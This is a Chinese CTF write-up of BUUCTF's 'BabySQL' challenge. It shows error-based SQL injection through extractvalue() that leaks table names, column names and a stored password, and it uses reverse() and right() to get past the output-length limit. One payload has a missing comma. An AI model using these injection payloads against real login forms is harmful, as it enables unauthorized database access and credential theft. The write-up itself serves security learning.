[极客大挑战 2019]BabySQL
前言
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
了解报错注入可以去这个师傅的博客看看
链接:https://www.cnblogs.com/richardlee97/p/10617115.html
一、收集信息
登录界面是这样
Fuzz一下发现union过滤了,双写没用的
但还有extractvalue和updatexm没给过滤,多半是报错注入了
二、payload
check.php?username=a'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23&password=a
这句话我也不是很明白,但是它就是那么利用的,希望有大佬能够教我弄懂:)
稍微更改一下中间的select语句来利用
check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e)))%23
&password=a
出表后出列
check.php?
username=a'or(extractvalue(1,concat(0x7e(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e)))%23
&password=a
然后直接读读看
check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e)))%23
&password=a
搞不懂为什么只有一部分,可能长度限制了吧
看了王叹之师傅的博客发现评论说updatexml和extractvalue可能都只返回32个字符,所以才显示不全
当然也参考了一下解决方法!
可以用reverse来反转读
check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(reverse(password))from(H4rDsq1)),0x7e)))%23
&password=a
虽然能拼接,但是很难看
也可以拿right()函数来读到剩下的
check.php?
username=a'or(extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e)))%23
&password=a
这就好看多了!
总结
还是缺乏对注入类型的判断经验,写这篇博客也是边写边做
总的来说还是收获颇多!
感谢BUUCTF提供的平台练习!